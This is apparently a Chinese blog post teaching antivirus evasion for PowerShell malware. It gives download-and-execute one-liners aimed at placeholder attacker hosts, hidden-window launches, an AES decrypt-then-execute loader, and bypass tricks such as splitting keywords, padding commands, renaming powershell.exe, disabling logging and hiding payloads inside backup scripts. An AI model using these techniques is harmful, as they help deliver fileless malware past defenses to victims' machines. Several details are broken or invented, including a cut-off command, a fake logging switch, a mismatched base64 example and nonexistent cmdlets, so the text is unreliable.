powershell免杀详解

PowerShell 由于其强大的脚本执行能力和与操作系统的深度集成,被恶意软件作者频繁利用。以下是对 PowerShell 木马常用方式及特点的扩充介绍:

远程下载然后执行的常见方法

1. 使用 `Invoke-Expression`(别名 `IEX`)
   - 如 `IEX ((new-object net.webclient).downloadstring('http://malicious-url/file.ps1'))`,从远程 URL 下载 PowerShell 脚本并直接执行。这种方式可以快速更新恶意代码,使得攻击者能够灵活地控制攻击的进程。
   - 也可以使用 `IEX (Invoke-WebRequest -Uri 'http://malicious-url/script.txt' -UseBasicParsing).Content`,通过 `Invoke-WebRequest`获取远程脚本内容并执行。

2. 通过 `WebClient`类进行下载和执行:
   - `$client = New-Object System.Net.WebClient;$script = $client.DownloadString('http://evil-server/script.ps1');Invoke-Expression $script`,创建 `WebClient`对象下载脚本字符串,然后使用 `Invoke-Expression`执行。

3. 利用 Base64 编码隐藏脚本:
   - 攻击者可以将恶意 PowerShell 脚本进行 Base64 编码后放在远程服务器上,在本地下载并解码执行。例如,`$encodedScript = (Invoke-WebRequest -Uri 'http://malicious-url/encoded.txt' -UseBasicParsing).Content;$decodedScript = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedScript));Invoke-Expression $decodedScript`。

特点:直接内存运行、无文件落地的特点优势及风险

1. 优势:
   - 难以被传统基于文件的安全检测手段发现。许多安全软件主要通过扫描磁盘上的文件来检测恶意软件,而无文件落地的 PowerShell 木马在内存中运行,不留下明显的文件痕迹,增加了检测的难度。
   - 更具隐蔽性。由于没有持久化的文件存在,系统管理员和安全工具可能难以确定攻击的来源和方式,使得恶意活动更难被察觉和追踪。
   - 快速部署和更新。攻击者可以随时更改远程服务器上的脚本内容,当受害者的系统再次执行远程下载的命令时,就可以获取到最新的恶意代码,实现快速的攻击策略调整和功能更新。

2. 风险:
   - 一旦被发现,难以进行取证分析。由于没有文件存储在磁盘上,安全人员在进行事件响应和调查时,可能缺乏关键的证据来确定攻击的范围、方法和来源。
   - 可能利用合法的系统进程。PowerShell 通常在合法的系统进程中运行,这使得恶意活动更容易混入正常的系统操作中,增加了识别和隔离的复杂性。
   - 可以绕过一些安全防护机制。某些安全软件可能对文件系统的监控较为严格,但对内存中的活动监测相对较弱,从而使 PowerShell 木马有机会绕过这些防护措施。

以下我们来分析一个powershell命令

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"

这是一条使用 PowerShell 执行远程脚本的命令,具有一定的安全风险。以下是对该命令的分析: 1. `powershell.exe`:启动 PowerShell 程序。

2. `-nop`:表示无 profile(配置文件)运行,即不加载 PowerShell 配置文件。

3. `-w hidden`:将窗口状态设置为隐藏,使得 PowerShell 窗口在执行命令时不可见。

4. `-c`:表示执行后面的命令字符串。

5. `"IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"`:

- `IEX`是`Invoke-Expression`的别名,用于执行指定的表达式。

- `(new-object net.webclient)`创建一个新的`.NET`中的`WebClient`对象。

- `.downloadstring('http://x.x.x.x/a')`使用这个`WebClient`对象从指定的 URL(`http://x.x.x.x/a`)下载字符串内容。

- 最后,下载的字符串内容被传递给`IEX`执行,这意味着如果下载的内容是有效的 PowerShell 脚本,它将在当前 PowerShell 会话中被执行。 这种方式可能被恶意攻击者用于下载和执行恶意脚本,从而对系统造成危害,如窃取敏感信息、安装恶意软件、控制计算机等。在实际环境中,应避免执行来自未知来源的脚本,以确保系统的安全和稳定。

但是通常使用过程中当调用powershell进行远程下载执行时,会被杀软进行拦截。那么针对Powershell的免杀有两个思路:

以下有两种方法可以进行免杀

以下是整合后的内容:

**一、对 ps1 文件进行免杀处理**

1. 代码混淆
   - 变量名混淆:将有意义的变量名替换为无意义的、随机生成的字符组合。例如,把“$data”改为“$d3g4k9”。这样使得安全分析人员难以理解脚本的逻辑和目的。
   - 函数名混淆:类似变量名混淆,对函数进行重命名。比如将常用的函数名“Invoke-Command”改为一个不常见且难以理解的名字。
   - 逻辑混淆:通过添加冗余的代码、复杂的控制流结构等方式来混淆脚本的执行逻辑。例如,使用多层嵌套的条件语句和循环,让分析者难以追踪真正的恶意行为。

2. 加密内容
   - 可以使用各种加密算法对 ps1 文件的关键部分进行加密。在脚本运行时,先进行解密操作,然后执行解密后的代码。这样在静态分析时,安全工具难以读取和理解脚本的内容。例如,使用 AES 加密算法对一段恶意代码进行加密,然后在脚本开头添加解密逻辑,只有在运行时才能得到可执行的恶意代码。

3. 压缩与封装
   - 使用压缩工具将 ps1 文件压缩成一个压缩包,然后在运行时解压缩并执行。这样可以改变文件的特征,躲避一些基于文件特征的检测。
   - 或者将 ps1 文件封装在另一个合法的文件格式中,如自解压可执行文件。当用户运行这个文件时,会自动解压并执行其中的 ps1 脚本。

**二、对 PowerShell 的行为进行免杀处理**

1. 禁用日志记录
   - PowerShell 默认会记录一些操作日志,这些日志可能会被安全工具分析以检测恶意行为。可以通过修改 PowerShell 的配置或使用特定的命令来禁用日志记录。例如,设置 `$ExecutionContext.SessionState.PSVariable.Set('DisableLogging', $true)` 来禁用日志功能。这样可以减少留下的痕迹,降低被检测的可能性。

2. 模拟合法行为
   - 将恶意行为隐藏在合法的 PowerShell 操作中。例如,使用 PowerShell 进行系统管理任务时,同时执行恶意代码。这样可以使恶意行为看起来像是正常的系统活动。比如在执行备份操作的 PowerShell 脚本中,嵌入恶意的下载和执行代码。安全工具可能会将整个操作视为正常的备份任务,而忽略其中的恶意行为。

3. 利用编码与解码
   - 使用 Base64 编码等方式对恶意命令进行编码,然后在 PowerShell 中进行解码和执行。这样可以改变命令的外观,躲避一些基于字符串匹配的检测。例如,将恶意命令进行 Base64 编码后存储在一个变量中,然后在运行时解码并执行。

4. 降低权限运行
   - 避免以高权限(如管理员权限)运行 PowerShell,因为高权限的操作更容易引起安全工具的关注。以普通用户权限运行可以降低可疑性。可以通过调整脚本的执行策略或在较低权限的用户环境下运行 PowerShell。

问题:除了ps1还有哪些常见的powershell后缀?

1. `.ps1`:PowerShell Script file(PowerShell 脚本文件)。
   - 解释:这是一种包含一系列 PowerShell 命令和逻辑的文件,可以用于自动化任务、系统管理等各种目的。通常可以直接在 PowerShell 控制台中运行或通过调用 PowerShell 解释器来执行。

2. `.psm1`:PowerShell Module file(PowerShell 模块文件)。
   - 解释:PowerShell 模块是一种组织和封装 PowerShell 代码的方式,`.psm1`文件包含函数、变量、别名等,可以将一组相关的功能打包在一起,以便在多个脚本中重复使用,提高代码的可维护性和可重用性。

3. `.psd1`:PowerShell Module Manifest file(PowerShell 模块清单文件)。
   - 解释:用于描述 PowerShell 模块的元数据,如模块名称、版本、作者、依赖关系等。它通常与 `.psm1` 文件一起使用,为 PowerShell 模块提供详细的信息描述,帮助用户和其他工具了解模块的特性和要求。

4. `.ps1xml`:PowerShell Formatting XML file(PowerShell 格式 XML 文件)。
   - 解释:可以通过修改这种文件来自定义 PowerShell 命令的输出格式、类型扩展等。它使用 XML 格式来定义如何显示 PowerShell 对象的属性和内容,以便更好地满足特定的输出需求。

问题:对ps1文件进行免杀和对powershell进行行为免杀有啥区别?

  1. 处理对象不同:

    • 对 ps1 文件进行免杀处理直接针对存储在磁盘上的脚本文件本身。
    • 对 PowerShell 的行为进行免杀处理针对 PowerShell 在运行时的行为模式和执行环境。
  2. 处理方式不同:

    • 对 ps1 文件的处理主要是改变文件的结构、内容和表现形式,如混淆、加密、压缩封装等。
    • 对 PowerShell 行为的处理则是调整 PowerShell 的运行参数、行为模式和执行环境,如禁用日志、模拟合法行为、编码解码、降低权限等。
  3. 检测难度不同:

    • 对 ps1 文件进行免杀处理可能会被基于文件特征的检测方法发现,因为文件本身仍然存在于磁盘上,尽管经过了处理,但仍可能留下一些可被检测的特征。
    • 对 PowerShell 的行为进行免杀处理更难被检测,因为它不依赖于特定的文件,而是通过改变 PowerShell 的运行方式来躲避检测,使得安全工具更难确定恶意行为的存在。

以下是每个方法的例子说明:

**一、对 ps1 文件进行免杀处理**

1. 代码混淆
   - 变量名混淆:
     原始命令行:`powershell -Command "$data = 'some content'; Write-Host $data"`
     混淆后命令行:`powershell -Command "$d3g4k9 = 'some content'; Write-Host $d3g4k9"`
   - 函数名混淆:
     原始命令行:`powershell -Command "Invoke-Command -ScriptBlock { Write-Host 'Hello' }"`
     混淆后命令行:`powershell -Command "Invoke-Cmd -ScriptBlock { Write-Host 'Hello' }"`
   - 逻辑混淆:
     原始命令行:`powershell -Command "Invoke-Command -ScriptBlock { Write-Host 'Hello' }"`
     混淆后命令行:`powershell -Command "$flag = $false; while (!$flag) { if ((Get-Random -Minimum 1 -Maximum 10) % 2 -eq 0) { $flag = $true; } else { Write-Host 'Waiting...'; } }; Invoke-Command -ScriptBlock { Write-Host 'Hello' }"`

2. 加密内容:
   - 假设恶意代码为`Invoke-Command -ScriptBlock { Do-Something-Malicious }`,使用 AES 加密后存储在一个变量中,在脚本开头添加解密逻辑如下:

     $encryptedCode = "encrypted-data-here";
     $key = "your-secret-key";
     $iv = [System.Text.Encoding]::UTF8.GetBytes("initialization-vector");
     $decryptor = New-Object System.Security.Cryptography.RijndaelManaged;
     $decryptor.Mode = [System.Security.Cryptography.CipherMode]::CBC;
     $decryptor.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
     $decryptor.Key = [System.Text.Encoding]::UTF8.GetBytes($key);
     $decryptor.IV = $iv;
     $decryptedBytes = [System.Convert]::FromBase64String($encryptedCode);
     $stream = New-Object System.IO.MemoryStream($decryptedBytes, 0, $decryptedBytes.Length);
     $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($stream, $decryptor.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Read);
     $reader = New-Object System.IO.StreamReader($cryptoStream);
     $decryptedScript = $reader.ReadToEnd();
     Invoke-Expression $decryptedScript;

3. 压缩与封装:
   - 可以使用 7-Zip 等工具将 ps1 文件压缩成一个压缩包,然后在运行时解压缩并执行。
     假设压缩包名为`script.7z`,包含一个`script.ps1`文件,解压缩并执行的命令行如下:

 Expand-Archive -Path "script.7z" -DestinationPath "temp";
    .\temp\script.ps1;

 - 或者将 ps1 文件封装在自解压可执行文件中,用户运行自解压文件时自动解压并执行其中的 ps1 脚本。(制作自解压可执行文件需要特定的工具和技术,这里仅为概念说明。)

**二、对 PowerShell 的行为进行免杀处理**

1. 禁用日志记录:
   - 命令行示例:`powershell -Command "$ExecutionContext.SessionState.PSVariable.Set('DisableLogging', $true); Your-Command-Here"`

2. 模拟合法行为:
   - 例如在执行备份操作的同时执行恶意代码,假设备份命令为`Copy-Item -Path "Source" -Destination "Destination"`,同时执行恶意代码:

  Copy-Item -Path "Source" -Destination "Destination";
     Invoke-Command -ScriptBlock { Do-Something-Malicious };

 3.利用编码与解码:
   - 将恶意命令进行 Base64 编码后存储在一个变量中,然后在运行时解码并执行。
     编码后的命令:`$encodedCommand = "SW52b2tlLUNvbW1hbmQtLSBTcHJpbmQ="; $decodedCommand = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedCommand)); Invoke-Expression $decodedCommand;`(这里假设编码前的命令为`Invoke-Command -ScriptBlock { Write-Host "Hello" }`)

4. 降低权限运行:
   - 以普通用户权限运行 PowerShell 脚本,而不是以管理员权限运行。可以直接在普通用户权限下执行命令行或脚本,避免使用提升权限的方法。

**三、一些其他方法**

### 一、关键字拆分 bypass
在实战过程中,如果杀软对 PowerShell 命令中的参数、函数进行检测,我们可以通过对关键字进行拆分来实现绕过。

例如,原始的 PowerShell 命令为:

powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))”

如果杀软对“http”关键字进行检测,我们可以进行如下拆分绕过:

powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/a''));Invoke-Mimikatz';IEX ($a+$b)”

若对“downloadstring”函数进行检测,可以使用“replace”进行函数拆分绕过,如下所示:
 

powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='123(''http://x.x.x.x'')'.Rep


### 二、Fuzz 思想 bypass

问题:为什么fuzz能过杀软?

Fuzz思想(如使用中文字符里的单引号进行混淆)能够在一定程度上绕过杀软检测的理由如下:

**一、改变命令外观**

1. 打破常规模式:杀软通常会根据已知的恶意代码模式和特征进行检测。使用中文字符里的单引号等特殊字符来混淆命令,打破了常规的命令编写模式,使得恶意命令看起来与常见的恶意代码模式不同。这增加了杀软识别恶意行为的难度,因为它不再符合杀软所依赖的已知模式。

2. 干扰字符串匹配:许多杀软会使用字符串匹配技术来检测恶意代码。通过引入特殊字符,改变了命令中的字符串内容,使得原本可能被检测到的关键字符串变得难以识别。例如,将“http://x.x.x.x/a”拆分成“ht‘+’tp://x.x.x.x/a”,干扰了对“http”等关键字符串的直接匹配检测。

**二、增加分析复杂性**

1. 不常见的语法结构:使用特殊字符引入了不常见的语法结构,这使得安全分析人员在分析命令时需要花费更多的时间和精力。他们需要理解这些特殊字符的作用以及它们如何影响命令的执行,从而增加了分析的复杂性。

2. 难以预测的行为:特殊字符的使用可能会导致命令的行为变得难以预测。这使得杀软在进行动态分析时更难确定命令的真正目的和潜在危害。例如,单引号的使用可能会影响命令的解析方式,使得杀软难以确定命令的具体执行路径和结果。

接着我们可以利用 Fuzz 的思想进行绕过,比如使用中文字符里的单引号。

例如,混淆前的 PowerShell 命令为:

powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”

使用单引号混淆后的命令为:

powershell.exe "IEX ((new-object net.webclient).downloadstring('ht‘+’tp://x.x.x.x/a’))”

### 三、超长命令 bypass
通过使用超长的命令来进行绕过。

问题:为什么超长命令能绕过杀软?

一、增加分析难度

  1. 复杂性增加:超长命令使得整个命令的结构变得非常复杂。安全软件通常依赖于模式匹配和特征检测来识别恶意行为,但在面对极其复杂的命令时,这些方法可能变得不那么有效。例如,大量重复的参数(如 “-w Normal” 的重复出现)会使恶意部分的代码在众多看似无害的参数中难以被快速识别。
  2. 干扰检测逻辑:超长的命令可能会干扰杀软的分析逻辑。安全软件在检测恶意行为时,通常会对命令进行解析和分析,但超长的命令可能会使这个过程变得更加困难,导致杀软无法准确地识别出其中的恶意部分。

二、隐藏恶意行为

  1. 融入正常操作:超长命令可能会使恶意行为看起来更像是正常的系统操作。在大量的参数和看似无害的指令中,恶意代码可能会被隐藏得更深。例如,恶意的下载和执行代码可能会被隐藏在众多的正常参数和操作中,使得杀软难以将其与正常的系统活动区分开来。
  2. 减少特征暴露:通过使用超长命令,恶意代码的特征可能会被分散和隐藏。安全软件通常会根据特定的代码特征来检测恶意行为,但在超长命令中,这些特征可能会被稀释或隐藏在大量的无关代码中,从而降低被检测到的可能性。

例如,原始命令为:

powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a’))”

构造超长命令后的 PowerShell 命令为:

powershell.-w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal w Normal -w Normal -w Normal -w Normal -w Normal -w Normal IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))

### 四、copy 命令 bypass
对于一些检测 PowerShell 使用动作的杀软,可以使用 Windows 的 copy 命令将 PowerShell 拷贝并命名为其他名称来绕过检测。

命令如下:

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt

之后可以这样执行 PowerShell 来绕过杀软检测:

bypass.txt IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))

### 五、混合 bypass
将前面讲述的几种方法进行混合使用,可以提高免杀效果。

例如:

powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht‘+’tp://x.x.x.x/a')

## 结尾
除了上述几种方式,还有其他方法可以进行绕过。例如,可以将 PowerShell 命令打包成 exe 程序,可使用 C、Python、Go 等语言实现。其中查杀率为:C > Python > Go。

需要强调的是,进行恶意免杀处理是非法和不道德的行为,可能会对计算机系统和网络安全造成严重威胁。以上内容仅为技术说明,不可用于非法目的。

PowerShell中,`Invoke-Expression`, `Invoke`, `NewScriptBlock`, 和 `Invoke-Command` 这些命令主要用于在 PowerShell 脚本中执行远程操作,特别是当涉及到跨系统或远程服务器的数据传输时。以下是它们各自的功能: 1. **Invoke-Expression**: 这是一个简单的方式,可以直接执行字符串作为脚本。例如,如果你想从远程主机下载文件,你可以构造一个包含wget或curl命令的字符串然后通过`Invoke-Expression`执行。 ```powershell $remoteUrl = 'http://example.com/file.zip' Invoke-Expression "Invoke-WebRequest -Uri '$remoteUrl' -OutFile 'local_file.zip'" ``` 2. **Invoke**: 这个函数可以用于运行一个ScriptBlock(匿名或已命名的函数)并接收其结果。同样适用于下载操作,比如使用`Start-TransmitFile`: ```powershell $remoteCmd = { Start-TransmitFile -Source "$remoteUrl" -DestinationPath "local_file.zip" } Invoke-ScriptBlock $remoteCmd ``` 3. **NewScriptBlock** 和 **Invoke-Command**: 这两个通常一起使用。`NewScriptBlock`创建一个新的脚本块,可以存储更复杂的命令或逻辑。然后,`Invoke-Command`会在目标计算机上执行这个脚本块: ```powershell $scriptBlock = [Scriptblock]::Create("iwr '$remoteUrl' -OutFile 'local_file.zip'") Invoke-Command -ComputerName remote_host -ScriptBlock $scriptBlock ``` 注意:这些命令需要对目标计算机有适当的访问权限,并且需要小心使用,因为直接执行用户输入可能会带来安全风险。务必验证远程URL并确保它们来自可信源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值